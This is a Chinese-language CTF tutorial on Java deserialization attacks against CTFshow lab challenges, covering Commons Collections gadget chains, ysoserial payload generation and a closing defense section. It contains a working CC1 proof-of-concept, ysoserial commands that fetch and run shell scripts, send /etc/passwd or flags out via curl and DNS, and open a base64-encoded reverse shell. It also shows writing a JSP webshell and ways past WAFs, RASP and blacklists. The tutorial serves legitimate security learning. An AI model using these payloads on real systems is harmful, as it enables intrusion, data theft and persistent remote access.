
1. 项目概述为什么Java反序列化漏洞是安全工程师的必修课几年前我在一次内部红蓝对抗中面对一个看似固若金汤的Java Web应用常规的SQL注入、XSS测试都无功而返。就在准备收工时我尝试向一个接收JSON的接口发送了一段精心构造的数据服务器日志突然出现了奇怪的类加载信息紧接着一个反向Shell连接到了我的监听端口。那一刻我深刻体会到Java反序列化漏洞的威力与隐蔽性。它不像SQL注入那样有明显的语法特征往往藏匿在正常的业务数据流中一旦被利用就意味着攻击者能直接穿透到应用底层执行任意代码。CTFshow平台上的Java反序列化题目正是将这种真实威胁浓缩成了一个个可供学习和演练的靶场。本教程旨在为你提供一条从零开始直通核心的实战路径。无论你是刚接触安全的新手还是想系统梳理反序列化知识体系的从业者这篇内容都将带你绕过我当年摸索时踩过的坑直接掌握从经典CC链Commons Collections利用到熟练使用ysoserial这款“神器”的完整技能树。我们不止步于解题更要理解每一个Payload背后的原理明白为什么这样构造就能触发漏洞从而在实战审计和防御中做到心中有数。2. 环境准备与核心概念筑基工欲善其事必先利其器。在开始“爆破”之前我们需要一个安全、可控的实验环境并夯实几个关键概念否则后续的所有操作都将是无根之木。2.1 实验环境搭建沙盒里的安全战场首先绝对不建议在任何生产环境或未经授权的系统上进行反序列化漏洞测试。我们的实验环境需要包含以下几个部分漏洞应用环境最便捷的方式是使用Docker。我们可以快速拉取一个预置了漏洞版本组件的靶场镜像。例如针对CTFshow的题目可以寻找相关的Dockerfile或直接使用vulhub等集成漏洞环境项目中的Java反序列化相关靶场。# 示例假设使用一个名为ctfshow-java-deserialize的镜像 docker pull some-registry/ctfshow-java-deserialize:latest docker run -p 8080:8080 -d some-registry/ctfshow-java-deserialize运行后访问http://localhost:8080就能看到靶场题目。这种方式隔离性好一键还原。攻击者工具环境你需要一个安装好Java开发环境JDK 8或11和Maven的虚拟机或物理机。关键工具是ysoserial。你需要从GitHub克隆源码并自行编译。git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests编译成功后在target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar文件。这个JAR包就是我们生成攻击载荷Payload的工厂。调试与分析环境推荐使用IDEA或Eclipse作为IDE。将靶场应用的源码如果有或依赖库导入方便后续动态调试跟踪反序列化过程。同时准备好Burp Suite、Postman或cURL用于发送HTTP请求。注意编译ysoserial时务必确保网络环境可以正常下载Maven依赖。有时会因为网络问题导致编译失败可以考虑配置国内镜像源。2.2 核心概念解析序列化与反序列化到底在干什么很多资料一上来就讲漏洞但没讲清楚基础导致读者云里雾里。让我们用“快递打包”来类比序列化Serialization好比你要把一台结构复杂的台式电脑一个Java对象寄给朋友。你不能直接把主机扔过去需要将它拆解按照一定的规则Java序列化协议把主板、CPU、内存条、它们的连接关系以及当前状态比如电脑里正在运行的文档都记录下来变成一份详细的“装箱清单”字节流。在Java中实现java.io.Serializable接口的类就可以被序列化。ObjectOutputStream就是那个负责打包的“快递员”。// 一个可序列化的简单对象 public class Person implements Serializable { private String name; private int age; // ... getters and setters } // 序列化过程对象 - 字节流 Person person new Person(Alice, 30); FileOutputStream fos new FileOutputStream(person.ser); ObjectOutputStream oos new ObjectOutputStream(fos); oos.writeObject(person); // 核心动作写入对象 oos.close();反序列化Deserialization你的朋友收到包裹和“装箱清单”。他按照完全相同的规则根据清单描述重新组装出和你寄出一模一样的台式电脑Java对象包括它当时的状态那些打开的文档。ObjectInputStream就是负责拆包组装的“快递员”。// 反序列化过程字节流 - 对象 FileInputStream fis new FileInputStream(person.ser); ObjectInputStream ois new ObjectInputStream(fis); Person restoredPerson (Person) ois.readObject(); // 核心动作读取对象 ois.close(); System.out.println(restoredPerson.getName()); // 输出 Alice漏洞的根源就藏在这个“重新组装”的过程中。如果攻击者篡改了“装箱清单”在里面恶意描述“在组装过程中请先执行我藏在清单里的这段特殊指令恶意代码”而负责组装的程序ObjectInputStream又盲目地信任并执行了这份清单漏洞就产生了。Java在反序列化一个对象时会自动调用该对象的readObject()方法。如果某个类例如Apache Commons Collections库中的一些类的readObject()方法逻辑存在缺陷能够被引导去执行任意代码这个类就成了一个“危险组件”或者说一个“gadget”小工具。一系列这样的“gadget”链式组合起来就形成了我们常说的利用链Gadget Chain。2.3 关键工具ysoserial初探Payload生成器ysoserial不是一个直接发起攻击的工具而是一个Payload生成器。它的工作原理是针对不同的第三方库如Commons Collections, Spring, Groovy等中已知的、存在缺陷的类根据预研好的利用链动态生成一个恶意的Java对象。当你将这个对象序列化后的字节流发送给目标应用触发其反序列化时漏洞就被利用了。它的基本使用格式是java -jar ysoserial.jar [Gadget Chain] [command]例如生成一个用于CommonsCollections1链执行calcWindows计算器命令的Payloadjava -jar ysoserial.jar CommonsCollections1 calc.exe payload.bin这行命令会生成一个名为payload.bin的二进制文件里面就是序列化后的恶意对象。在CTF中你可能需要将这个二进制文件的内容进行Base64编码然后通过HTTP参数等方式提交给靶机。实操心得不同版本的JDK和第三方库对利用链的限制不同。例如高版本JDK8u71之后对AnnotationInvocationHandler等类增加了限制导致一些旧的CC链失效。因此在实战中信息收集判断目标使用的库及其版本是成功利用的第一步。ysoserial中不同的Gadget名称如CommonsCollections1,CommonsCollections2,CommonsCollections3等就是为了适应不同环境而存在的变种。3. Commons Collections (CC) 链深度解剖与实战Apache Commons Collections库因其强大的功能被无数Java项目引用但也正因为其某些类的特性成为了反序列化漏洞的“重灾区”。理解CC链是入门Java反序列化的关键一步。3.1 CC1链经典TransformedMap路径剖析CC1链是ysoserial中CommonsCollections1利用链的核心尽管内部实现略有不同但原理相通。它主要依赖于TransformedMap类和InvokerTransformer类。我们来拆解这条链的触发逻辑起点AnnotationInvocationHandler.readObject()在ysoserial的CC1中实际利用的是sun.reflect.annotation.AnnotationInvocationHandler这个JDK内部的类。在其readObject()方法中会对其成员变量memberValues一个Map类型的每一项调用setValue()方法。传递TransformedMap.checkSetValue()-TransformedMap.transform()。如果我们能让memberValues是一个TransformedMap那么setValue()就会触发其transform()方法。关键跳板InvokerTransformer.transform()。这个类的transform()方法可以通过反射调用任意对象的任意方法。攻击者可以将其配置为调用Runtime.getRuntime().exec(command)。执行Runtime.exec()。最终执行系统命令。链式调用可以简化为AnnotationInvocationHandler.readObject()-Map.setValue()-TransformedMap.transform()-InvokerTransformer.transform()-Method.invoke()-Runtime.exec()在CTFshow中的实战应用 假设题目是一个接收序列化数据的Java Web服务。你的攻击步骤是使用ysoserial生成Payloadjava -jar ysoserial.jar CommonsCollections1 curl http://your-vps/shell.sh | bash payload.bin。将payload.bin文件内容进行Base64编码。通过Burp Suite拦截向目标接口发送的请求将Base64编码后的Payload放入相应的参数如data、input等中发送。观察你的VPS是否收到HTTP请求从而判断命令是否执行。注意事项CC1链在JDK 8u71及以上版本会失效因为高版本JDK中AnnotationInvocationHandler的readObject()逻辑发生了变化不再直接调用memberValues的setValue。这就是为什么需要CC2、CC3等其他链来绕过限制。3.2 CC6链更通用的HashMap利用链CC6链对应ysoserial中的CommonsCollections6是一条适应性更广的利用链它不依赖于AnnotationInvocationHandler而是利用HashMap的readObject()和HashSet的机制来触发LazyMap.get()进而衔接上InvokerTransformer。这使得它在更多版本的JDK中有效。其核心逻辑在于HashMap.readObject()在反序列化时会为了计算哈希值调用每个键key的hashCode()方法。如果这个键是一个动态代理对象例如使用Proxy.newProxyInstance创建的实现了Map接口的代理那么调用其hashCode()方法时会触发InvocationHandler.invoke()。在ysoserial的构造中这个InvocationHandler被设置为一个特殊的对象其invoke()方法会去调用LazyMap.get()。LazyMap.get()在键不存在时会调用其transform()方法这就连接到了我们熟悉的InvokerTransformer上。这条链的构造比CC1稍复杂但通用性更强。在CTF中如果发现题目环境JDK版本较高可以优先尝试CC6链。3.3 利用链的构造与调试自己动手丰衣足食虽然ysoserial提供了现成的工具但真正理解漏洞必须自己动手调试一遍利用链的构造过程。以简化版的CC1思路为例在IDE中编写POC代码import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class SimpleCCPOC { public static void main(String[] args) throws Exception { // 1. 构造核心的Transformer链用于执行命令 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, null}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{open /System/Applications/Calculator.app}) // Mac弹计算器 }; Transformer transformerChain new ChainedTransformer(transformers); // 2. 创建一个Map并用TransformedMap进行装饰 Map innerMap new HashMap(); innerMap.put(key, value); // 随便放个值 Map outerMap TransformedMap.decorate(innerMap, null, transformerChain); // 3. 触发尝试修改Map的值触发transform // outerMap.put(key2, value2); // 这种方式不会触发我们想要的链 // 我们需要的是在反序列化过程中由AnnotationInvocationHandler来触发setValue // 因此这里更关键的是构造出完整的、可序列化的恶意对象。此处仅为演示Transformer链的有效性。 for(Map.Entry entry : (Iterable) outerMap.entrySet()){ entry.setValue(anything); // 手动触发验证命令执行 } } }这段代码直接运行如果环境配置正确会弹出计算器。它展示了最核心的Transformer链是如何工作的。在完整的ysoserialPayload中还需要构造AnnotationInvocationHandler或利用HashMap等将这个TransformedMap包装成一个在反序列化时会自动触发setValue或get的完整对象图。调试技巧在IDEA中你可以对InvokerTransformer.transform()、LazyMap.get()、HashMap.readObject()等方法设置断点然后单步执行ysoserial生成的Payload的反序列化过程ois.readObject()亲眼目睹调用栈是如何一步步从反序列化入口走到命令执行的。这是理解利用链最直观的方式。4. 超越CC链ysoserial工具库的其他武器与防御绕过CC链只是ysoserial武器库中的一部分。一个合格的安全测试者需要根据目标环境灵活选择利用链。4.1 常用Gadget链场景分析ysoserial包含了数十条利用链以下是一些常见且实用的链名称依赖库适用场景/特点典型命令示例CommonsCollections1Commons Collections 3.2.1JDK 8u71的经典链依赖TransformedMap和AnnotationInvocationHandlerjava -jar ysoserial.jar CommonsCollections1 idCommonsCollections2Commons Collections 4.0使用PriorityQueue和TransformingComparator适用于Commons Collections 4.x版本java -jar ysoserial.jar CommonsCollections2 touch /tmp/pwnedCommonsCollections6Commons Collections 3.2.1使用HashMap和LazyMap通用性更强绕过部分JDK限制java -jar ysoserial.jar CommonsCollections6 ping -c 1 your-vps.comCommonsCollections7Commons Collections 3.2.1使用Hashtable是另一条不依赖AnnotationInvocationHandler的链JBossInterceptors1javassist, jboss-interceptors针对使用了JBoss相关组件的应用Json1jackson-databind 2.9.9针对Jackson反序列化漏洞非Java原生反序列化需要目标使用特定配置Romerome 1.7.0利用ObjectBean等类适用于使用了Rome RSS库的应用Spring1Spring 4.1.4针对Spring框架的特定版本利用SpringAbstractBeanFactoryPointcutAdvisor等类选择策略信息收集通过报错信息、依赖分析工具或目录扫描尽可能判断目标应用使用的第三方库及其版本。黑盒测试在CTF或未知环境中可以采取“广撒网”策略。用Burp Suite的Intruder模块遍历ysoserial中常见的链如CC1, CC2, CC3, CC6, CC7批量生成Payload进行测试。观察应用的响应时间、报错信息或外联行为DNS请求、HTTP请求来判断是否利用成功。版本匹配如果知道目标使用Commons Collections 4.0则优先尝试CC2如果是3.x版本则优先尝试CC1, CC6, CC7。4.2 命令执行与回显技巧直接执行calc或/bin/sh在CTF中往往不是最终目的我们需要拿到命令执行的结果回显。DNS外带OOB这是最常用的无回显探测和带外数据渗出方式。利用命令执行发起DNS查询通过查看DNS日志来判断命令是否执行以及带出少量信息。# 生成一个执行nslookup的Payload将结果带到自己的域名 java -jar ysoserial.jar CommonsCollections6 nslookup whoami.your-vps.com payload.bin在你的VPS上监听DNS请求如果收到类似root.your-vps.com的查询说明命令执行且当前用户是root。HTTP外带通过curl或wget将命令结果发送到你的Web服务器。# Linux下将/etc/passwd文件内容通过GET参数发送 java -jar ysoserial.jar CommonsCollections1 curl http://your-vps.com/ -d /etc/passwd payload.bin # 或者编码后发送 java -jar ysoserial.jar CommonsCollections1 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i} payload.bin第二种方式是一个Base64编码的反向Shell命令解码后会在目标机器上执行bash -i /dev/tcp/192.168.1.100/6666 01。写入Web目录回显如果目标有Web服务可以将命令结果写入到Web目录下的文件中然后直接访问该文件。java -jar ysoserial.jar CommonsCollections6 whoami /var/www/html/result.txt payload.bin执行后访问http://target/result.txt即可看到结果。实操心得在真实网络环境中目标服务器可能出网受限无法访问外网此时DNS/HTTP外带会失效。需要尝试无回显的利用方式例如写入计划任务crontab、写入SSH密钥、利用Java特性构造内存WebShell如通过反序列化动态注册Filter或Servlet等。这些技巧在CTFshow的高阶题目中经常出现。4.3 面对WAF与RASP的绕过思路现代应用往往部署了WAF或具备RASP运行时应用自我保护能力它们会检测反序列化攻击载荷中的危险类名如InvokerTransformer、危险方法Runtime.exec或特定的字节码模式。常见绕过思路类名混淆使用反射来间接调用危险类和方法。例如不直接使用Runtime.getRuntime().exec(cmd)而是用Class.forName(java.lang.Runtime).getMethod(getRuntime).invoke(null).exec(cmd)。ysoserial的许多Payload本身就大量使用了反射。使用非常用链WAF的规则库可能主要覆盖CC1、CC6等热门链。尝试使用Clojure、JBossInterceptors、Hibernate等相对冷门的链可能成功绕过。Payload编码与变形对生成的序列化字节流进行Base64、十六进制、Gzip等编码。有时简单的异或XOR操作也能绕过基于特征码的检测。分片与延时将Payload分片后通过多个参数发送或在Payload中插入大量无害的垃圾数据或结合时间盲注的思路通过命令执行延时来判断是否成功。利用本地类寻找应用本身依赖的、不在黑名单中的、且具有危险功能的类来构造新的利用链。这需要扎实的Java代码审计能力。5. CTFshow实战案例分析与排错实录理论最终要服务于实战。我们结合CTFshow平台的典型题目分析解题思路和可能遇到的坑。5.1 案例一基础CC链利用Web 260题目特征提供一个简单的Java Web接口接收一个名为data的POST参数参数内容经过Base64解码后被反序列化。页面返回“欢迎来到CTFshow”。解题步骤判断环境题目通常会给一些提示或报错信息。如果没有可以先用一个正常的序列化对象如自己写一个Serializable类Base64后发送看是否报“ClassNotFoundException”从而确认反序列化点存在。选择链由于是基础题大概率存在CC库且JDK版本较低。优先尝试CommonsCollections1。生成Payload目标是读取/flag文件。java -jar ysoserial.jar CommonsCollections1 cat /flag payload.bin base64 -w 0 payload.bin payload.txt发送Payload用Burp Suite发送POST请求Body为data你的Base64字符串。获取结果如果命令执行成功但无回显需要利用外带或写入Web目录。尝试# 方式1DNS外带 java -jar ysoserial.jar CommonsCollections1 curl http://your-vps/cat /flag|base64 # 方式2写入Web目录假设知道web根路径 java -jar ysoserial.jar CommonsCollections1 cat /flag /tmp/flag.txt常见问题无回显这是最常见的情况。必须熟练掌握DNS/HTTP外带技巧。Payload执行失败可能是链不匹配。换用CommonsCollections6或CommonsCollections7再试。报错java.lang.ClassNotFoundException: org.apache.commons.collections.xxx说明目标环境没有Commons Collections库需要换用其他链如JRMPClient如果题目出网的话。5.2 案例二存在黑名单过滤Web 267题目特征在基础题上增加了过滤例如黑名单中包含了Runtime、ProcessBuilder、InvokerTransformer等关键词。解题思路反射绕过黑名单通常检测的是直接的类名和方法名字符串。我们可以用反射的字符串形式来绕过。例如(Runtime.getRuntime()).exec(...)可以被过滤但Class.forName(java.lang.Runtime).getMethod(getRuntime).invoke(null).exec(...)可能绕过基于简单关键词的过滤。ysoserial的Payload本身已经大量使用反射但有时需要手动调整。寻找替代类除了Runtime.execJava中执行命令的方式还有ProcessBuilder:new ProcessBuilder(cmd).start()ScriptEngineManager(执行JS等):new ScriptEngineManager().getEngineByName(js).eval(java.lang.Runtime.getRuntime().exec(cmd))JDNI注入如果出网可以利用JRMPClient链结合恶意的RMI服务进行攻击这通常不直接执行命令而是加载远程类。使用ysoserial的变种有些修改版的ysoserial工具提供了绕过WAF的Payload生成选项它们可能内置了各种混淆和变形。手动构造最根本的方法是分析黑名单规则然后手动编写一个不包含黑名单关键词但能达到同样效果的利用链。这需要对Java安全机制和利用链有很深的理解。5.3 案例三不出网环境下的利用Web 289题目特征服务器无法访问外部网络DNS/HTTP外带全部失效。命令可以执行但结果无法直接传回。解题思路内存马与文件写入写入WebShell这是最直接的思路。如果知道Web应用的绝对路径且具有写权限可以直接写入一个JSP或Servlet格式的WebShell。# 生成一个写入JSP Webshell的Payload java -jar ysoserial.jar CommonsCollections6 echo % Runtime.getRuntime().exec(request.getParameter(\cmd\)); % /var/www/html/shell.jsp写入后访问/shell.jsp?cmdwhoami即可执行命令。但难点在于不知道绝对路径或没有写权限。利用Java特性注册内存马这是高阶技巧。通过反序列化漏洞我们可以动态地向运行的Java Web容器如Tomcat注册一个恶意的Filter、Servlet或Listener。这个恶意组件存在于内存中不落盘重启后失效但隐蔽性极强。Filter内存马原理是获取当前的StandardContext然后创建一个实现了Filter接口的恶意类并将其添加到Filter链的首位。之后所有经过该容器的请求都会先被我们的恶意Filter处理我们可以从中解析参数执行命令并回显。实现内存马需要精确的字节码操作和对中间件内部API的了解。通常有现成的工具或Payload生成脚本如“冰蝎”内存马但在CTF中可能需要根据题目环境进行适配。反向端口复用在极端情况下如果服务器上有其他服务监听端口可以尝试通过命令执行将命令结果写入到该服务可访问的文件或管道中但这需要非常特定的环境。排错技巧善用报错信息Java反序列化失败会抛出异常异常信息中可能包含类路径、库版本等关键信息。在Burp中查看完整的响应体。二分法定位问题如果自己构造的复杂Payload不成功可以尝试构造一个最简单的、只执行echo test /tmp/test的Payload。如果成功说明执行通道是通的问题可能出在命令语法、路径或权限上。如果失败则问题出在利用链本身或过滤上。本地复现尽可能在本地搭建与题目描述相似的环境JDK版本、库版本进行调试和Payload生成能极大提高成功率。6. 防御视角如何避免成为靶子作为开发者了解攻击手段是为了更好地防御。以下是一些关键防御措施输入验证与白名单对反序列化的数据源进行严格校验。不要反序列化来自不可信来源如网络请求、用户输入的任何数据。如果业务必须使用考虑使用白名单机制只允许反序列化预期的、安全的类。升级与修复及时升级项目中使用的第三方库特别是Apache Commons Collections、Jackson、Fastjson等已知存在高危反序列化漏洞的组件。使用Maven的versions:display-dependency-updates插件定期检查更新。使用安全的反序列化器替换ObjectInputStream使用ObjectInputFilterJDK 9或第三方安全库如SerialKiller来对反序列化的类进行过滤。// JDK 9 使用ObjectInputFilter ObjectInputStream ois new ObjectInputStream(fis); ois.setObjectInputFilter(filter); MyObject obj (MyObject) ois.readObject();换用其他数据格式在前后端交互中优先使用JSON、XML等更安全的序列化格式并使用安全的解析库如Jackson、Gson并确保其配置安全禁用Jackson的DefaultTyping特性。最小化攻击面在JVM安全策略中使用SecurityManager对敏感操作如执行命令、文件读写、网络访问进行限制。在容器层面确保应用以非root用户运行。运行时保护RASP部署具有运行时应用自我保护能力的产品它能在Java虚拟机层面监控危险行为如反射调用Runtime.exec、ProcessBuilder并及时阻断。理解攻击链的每一个环节不仅能让你在CTF赛场上披荆斩棘更能让你在代码审计和系统设计时清晰地知道风险点在哪里从而构建更坚固的防御体系。反序列化漏洞的攻防是一场持续的斗争新的利用链和绕过技巧不断出现保持学习和实践才是最重要的。